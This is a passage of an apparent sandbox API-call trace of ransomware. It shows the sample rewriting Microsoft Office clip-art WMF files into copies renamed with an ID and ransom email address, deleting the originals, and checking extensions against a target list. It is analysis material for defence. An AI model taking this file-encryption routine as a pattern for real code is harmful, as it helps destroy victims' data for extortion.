hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9c60, lpOverlapped=0x0) returned 1 [0061.122] ReadFile (in: hFile=0x16c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.122] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.123] SetEndOfFile (hFile=0x220) returned 1 [0061.123] CloseHandle (hObject=0x220) returned 1 [0061.123] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.123] SetEndOfFile (hFile=0x16c) returned 1 [0061.124] CloseHandle (hObject=0x16c) returned 1 [0061.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0061.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0061.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0061.124] lstrlenW (lpString=".doc") returned 4 [0061.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.124] lstrlenW (lpString=".docx") returned 5 [0061.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.124] lstrlenW (lpString=".pdf") returned 4 [0061.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.124] lstrlenW (lpString=".xls") returned 4 [0061.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.124] lstrlenW (lpString=".xlsx") returned 5 [0061.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.124] lstrlenW (lpString=".ppt") returned 4 [0061.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0061.124] lstrlenW (lpString=".zip") returned 4 [0061.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.125] lstrlenW (lpString=".rar") returned 4 [0061.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.125] lstrlenW (lpString=".bz2") returned 4 [0061.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.125] lstrlenW (lpString=".7z") returned 3 [0061.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0061.125] lstrlenW (lpString=".dbf") returned 4 [0061.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0061.125] lstrlenW (lpString=".1cd") returned 4 [0061.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0061.125] lstrlenW (lpString=".jpg") returned 4 [0061.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.126] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=792) returned 1 [0061.126] CloseHandle (hObject=0x220) returned 1 [0061.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0061.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.126] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.126] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.127] GetLastError () returned 0x0 [0061.127] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x318, lpOverlapped=0x0) returned 1 [0061.128] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x320, lpOverlapped=0x0) returned 1 [0061.132] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.133] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.133] SetEndOfFile (hFile=0x1ac) returned 1 [0061.133] CloseHandle (hObject=0x1ac) returned 1 [0061.133] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.133] SetEndOfFile (hFile=0x220) returned 1 [0061.134] CloseHandle (hObject=0x220) returned 1 [0061.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0061.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0061.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0061.134] lstrlenW (lpString=".doc") returned 4 [0061.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.134] lstrlenW (lpString=".docx") returned 5 [0061.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.134] lstrlenW (lpString=".pdf") returned 4 [0061.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.134] lstrlenW (lpString=".xls") returned 4 [0061.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.134] lstrlenW (lpString=".xlsx") returned 5 [0061.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.134] lstrlenW (lpString=".ppt") returned 4 [0061.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0061.134] lstrlenW (lpString=".zip") returned 4 [0061.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.135] lstrlenW (lpString=".rar") returned 4 [0061.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.135] lstrlenW (lpString=".bz2") returned 4 [0061.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.135] lstrlenW (lpString=".7z") returned 3 [0061.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0061.135] lstrlenW (lpString=".dbf") returned 4 [0061.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0061.135] lstrlenW (lpString=".1cd") returned 4 [0061.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0061.135] lstrlenW (lpString=".jpg") returned 4 [0061.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.135] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=17584) returned 1 [0061.135] CloseHandle (hObject=0x220) returned 1 [0061.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0061.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.136] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.136] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.136] GetLastError () returned 0x0 [0061.136] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x44b0, lpOverlapped=0x0) returned 1 [0061.368] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x44c0, lpOverlapped=0x0) returned 1 [0061.386] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.386] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.387] SetEndOfFile (hFile=0x1ac) returned 1 [0061.387] CloseHandle (hObject=0x1ac) returned 1 [0061.387] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.387] SetEndOfFile (hFile=0x220) returned 1 [0061.388] CloseHandle (hObject=0x220) returned 1 [0061.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0061.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0061.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0061.388] lstrlenW (lpString=".doc") returned 4 [0061.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.388] lstrlenW (lpString=".docx") returned 5 [0061.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.388] lstrlenW (lpString=".pdf") returned 4 [0061.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.388] lstrlenW (lpString=".xls") returned 4 [0061.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.388] lstrlenW (lpString=".xlsx") returned 5 [0061.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.388] lstrlenW (lpString=".ppt") returned 4 [0061.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0061.388] lstrlenW (lpString=".zip") returned 4 [0061.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.389] lstrlenW (lpString=".rar") returned 4 [0061.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.389] lstrlenW (lpString=".bz2") returned 4 [0061.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.389] lstrlenW (lpString=".7z") returned 3 [0061.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0061.389] lstrlenW (lpString=".dbf") returned 4 [0061.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0061.389] lstrlenW (lpString=".1cd") returned 4 [0061.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0061.389] lstrlenW (lpString=".jpg") returned 4 [0061.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.389] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2960) returned 1 [0061.389] CloseHandle (hObject=0x220) returned 1 [0061.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0061.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.390] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.390] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.390] GetLastError () returned 0x0 [0061.390] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xb90, lpOverlapped=0x0) returned 1 [0061.391] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xba0, lpOverlapped=0x0) returned 1 [0061.392] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.392] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.392] SetEndOfFile (hFile=0x1ac) returned 1 [0061.392] CloseHandle (hObject=0x1ac) returned 1 [0061.393] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.393] SetEndOfFile (hFile=0x220) returned 1 [0061.393] CloseHandle (hObject=0x220) returned 1 [0061.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0061.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0061.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0061.394] lstrlenW (lpString=".doc") returned 4 [0061.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.394] lstrlenW (lpString=".docx") returned 5 [0061.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.394] lstrlenW (lpString=".pdf") returned 4 [0061.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.394] lstrlenW (lpString=".xls") returned 4 [0061.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.394] lstrlenW (lpString=".xlsx") returned 5 [0061.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.394] lstrlenW (lpString=".ppt") returned 4 [0061.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0061.394] lstrlenW (lpString=".zip") returned 4 [0061.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.394] lstrlenW (lpString=".rar") returned 4 [0061.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.394] lstrlenW (lpString=".bz2") returned 4 [0061.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.394] lstrlenW (lpString=".7z") returned 3 [0061.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0061.394] lstrlenW (lpString=".dbf") returned 4 [0061.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0061.395] lstrlenW (lpString=".1cd") returned 4 [0061.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0061.395] lstrlenW (lpString=".jpg") returned 4 [0061.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.395] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3588) returned 1 [0061.396] CloseHandle (hObject=0x220) returned 1 [0061.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0061.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.396] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.396] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.397] GetLastError () returned 0x0 [0061.397] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xe04, lpOverlapped=0x0) returned 1 [0061.398] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe10, lpOverlapped=0x0) returned 1 [0061.399] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.399] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.399] SetEndOfFile (hFile=0x1ac) returned 1 [0061.399] CloseHandle (hObject=0x1ac) returned 1 [0061.399] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.399] SetEndOfFile (hFile=0x220) returned 1 [0061.400] CloseHandle (hObject=0x220) returned 1 [0061.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0061.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0061.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0061.400] lstrlenW (lpString=".doc") returned 4 [0061.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.400] lstrlenW (lpString=".docx") returned 5 [0061.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.401] lstrlenW (lpString=".pdf") returned 4 [0061.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.401] lstrlenW (lpString=".xls") returned 4 [0061.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.401] lstrlenW (lpString=".xlsx") returned 5 [0061.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.401] lstrlenW (lpString=".ppt") returned 4 [0061.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0061.401] lstrlenW (lpString=".zip") returned 4 [0061.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.401] lstrlenW (lpString=".rar") returned 4 [0061.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.401] lstrlenW (lpString=".bz2") returned 4 [0061.401] lstrcmpiW (lpString1=".bz2", 